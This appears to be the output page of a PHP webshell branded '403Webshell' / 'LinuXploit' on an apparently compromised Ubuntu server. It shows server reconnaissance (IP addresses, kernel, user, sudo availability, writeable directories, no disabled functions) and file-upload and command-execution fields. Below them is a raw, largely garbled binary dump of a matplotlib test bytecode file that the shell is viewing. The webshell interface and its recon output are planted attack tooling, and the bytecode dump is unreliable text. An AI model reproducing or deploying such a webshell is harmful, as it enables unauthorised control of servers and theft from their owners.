403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_skew.cpython-312.pyc
�

G8�c{��d�dZddlmZddlZddlmZddlmZddl	m
Z
ddlmZddl
mZddlmZddlmZddlmZGd�dej0�ZGd	�d
ej4�ZGd�dej8�ZGd
�de
�Zee�edgd��d��Zedgd��d��Z y)z)
Testing that skewed axes properly work.
�)�	ExitStackN)�image_comparison)�Axes)�register_projectionc�$��eZdZ�fd�Zd�Z�xZS)�	SkewXTickc����t�5}|j|j|j|j|j
fD],}|j
|j|j���.tj|jj|j��}tj|jj|j��}|jj|jj�xr|�|jj|jj�xr|�|jj|jj�xr|�|j
j|j
j�xr|�t�|�A|�ddd�y#1swYyxYw�N)r�gridline�	tick1line�	tick2line�label1�label2�callback�set_visible�get_visible�
transforms�interval_contains�axes�
lower_xlim�get_loc�
upper_xlim�super�draw)�self�renderer�stack�artist�needs_lower�needs_upper�	__class__s      ��</usr/lib/python3/dist-packages/matplotlib/tests/test_skew.pyrzSkewXTick.drawsc���
�[�	#�E��=�=�$�.�.�$�.�.��;�;����5�
I�����v�1�1�6�3E�3E�3G�H�
I�%�6�6��	�	�$�$�d�l�l�n�6�K�$�6�6��	�	�$�$�d�l�l�n�6�K��N�N�&�&����*�*�,�<��
>��K�K�#�#����'�'�)�9�k�
;��N�N�&�&����*�*�,�<��
>��K�K�#�#����'�'�)�9�k�
;��G�L��"�!	#�	#�	#�s�GG�G"c�J�|jjj�Sr
)r�xaxis�get_view_interval�rs r"r%zSkewXTick.get_view_interval)s���y�y���0�0�2�2�)�__name__�
__module__�__qualname__rr%�
__classcell__�r!s@r"rrs
���#�&3r'rc��eZdZd�Zd�Zy)�	SkewXAxisc�2�t|jd|��S)N)�major)rr)rr0s  r"�	_get_tickzSkewXAxis._get_tick0s������D��6�6r'c�f�|jjd|jjdfS)Nr�)rrrr&s r"r%zSkewXAxis.get_view_interval3s+���y�y�#�#�A�&��	�	�(<�(<�Q�(?�?�?r'N)r(r)r*r1r%�r'r"r.r./s
��7�@r'r.c��eZdZd�Zy)�	SkewSpinec���|jj}|jdk(r|jj|dd�df<y|jj
|dd�df<y)N�topr)�_path�vertices�
spine_typerrr�r�ptss  r"�_adjust_locationzSkewSpine._adjust_location;sK���j�j�!�!���?�?�e�#��	�	�,�,�C��1��I��	�	�,�,�C��1��Ir'N)r(r)r*r>r4r'r"r6r6:s��-r'r6c�N��eZdZdZd�Zd�Z�fd�Zed��Zed��Z	�xZ
S)�	SkewXAxes�skewxc���t|�|_|jjj	|j�|jj
j	|j�t
j|�|_|jjj	|j�|jjj	|j�yr
)r.r$�spinesr8�
register_axis�bottom�maxis�YAxis�yaxis�left�rightr&s r"�
_init_axiszSkewXAxes._init_axisKs����t�_��
������%�%�d�j�j�1������(�(����4��[�[��&��
������&�&�t�z�z�2������'�'��
�
�3r'c���tj|d�tjj|d�tjj|d�tjj|d�d�}|S)Nr8rErIrJ)r8rErIrJ)r6�linear_spine�mspines�Spine)rrCs  r"�_gen_axes_spineszSkewXAxes._gen_axes_spinesTs]��"�/�/��e�<�#�M�M�6�6�t�X�F�!�-�-�4�4�T�6�B�"�=�=�5�5�d�G�D�F���
r'c����d}t�|��|j|jt	j
�j
|d�zz|_|j|jz|_	t	j|j|jzt	j��t	j
�j
|d�z|jz|_y)z�
        This is called once when the plot is created to set up all the
        transforms for the data, text and grids.
        �rN)
r�_set_lim_and_transforms�
transScale�transLimitsr�Affine2D�skew_deg�transDataToAxes�	transAxes�	transData�blended_transform_factory�IdentityTransform�_xaxis_transform)r�rotr!s  �r"rSz!SkewXAxes._set_lim_and_transforms[s����
��	��'�)�!%���!%�!1�!1�!+�!4�!4�!6�!?�!?��Q�!G�"H�!I���
�-�-����>���",�!E�!E��O�O�d�.�.�.��(�(�*�",�
���!�*�*�3��2�"3�7;�n�n�!E��r'c�B�|jjjSr
)r�viewLim�	intervalxr&s r"rzSkewXAxes.lower_xlimxs���y�y� � �*�*�*r'c�r�ddgddgg}|jj�j|�dd�dfS)Ngg�?r)rX�inverted�	transformr<s  r"rzSkewXAxes.upper_xlim|s=���B�x�"�b��"���#�#�,�,�.�8�8��=�a��d�C�Cr')r(r)r*�namerKrPrS�propertyrrr+r,s@r"r@r@FsD����D�4��E�:�+��+��D��Dr'r@�	skew_axesT)�remove_textc���tj�}|jdddd��}|jdd�|j	dd�|jd�|j
dd�	�y)
Nr3rA)�
projectioni����2Tr�b)�color)�plt�figure�add_subplot�set_xlim�set_ylim�grid�axvline)�fig�axs  r"�test_set_line_coll_dash_imagerw�s\��

�*�*�,�C�	����A�q�W��	5�B��K�K��R���K�K��C���G�G�D�M��J�J�q��J�r'�
skew_rectsc��tjddddd��\}}|j}tt	j
gd�d���}|dj
d	d
g�|djd	d
g�|djdd��t||�D]�\}\}}d
|zd
|z}}tj�j||�}|jdj||��|jt!j"ddgdd||j$zdd�����tj&ddddd��y)N�T)�r{)�sharex�sharey�figsize)������rr3��)�repeatrrr��equal)�share�-zSkew of {0} in X and {1} in Yr�g�?�coral)rd�alpha�	facecolorg{�G�z�?g�G�z��?)�wspacerIrJrEr8)rn�subplots�flat�list�	itertools�productrqrr�
set_aspect�ziprrVrW�	set_title�format�	add_patch�mpatch�	RectanglerZ�subplots_adjust)	�fixr�	rotationsrv�xrots�yrots�xdeg�ydeg�ts	         r"�test_skew_rectangler��s7�����Q��$�t�V�L�I�C���9�9�D��Y�&�&�'8��C�D�I���G���b�!�W����G���b�!�W����G���w�d��+�!�$�	�2�E���N�U�E��%�Z��e��d�����!�*�*�4��6��
���4�;�;�D�$�G�H�
���V�%�%�r�2�h��1�01�B�L�L�0@�,/�7�D�	E�E����q�t�4��$�Or')!�__doc__�
contextlibrr��matplotlib.pyplot�pyplotrn�matplotlib.testing.decoratorsr�matplotlib.axesr�matplotlib.transformsr�matplotlib.axis�axisrF�matplotlib.spinesrCrN�matplotlib.patches�patchesr��matplotlib.projectionsr�XTickr�XAxisr.rOr6r@rwr�r4r'r"�<module>r�s����!���:� �*��#�#�6�
3����3�4@����@�-��
�
�-�9D��9D�|�I���;�-�T�2��3���<�.�d�3�P�4�Pr'

Youez - 2016 - github.com/yon3zu
LinuXploit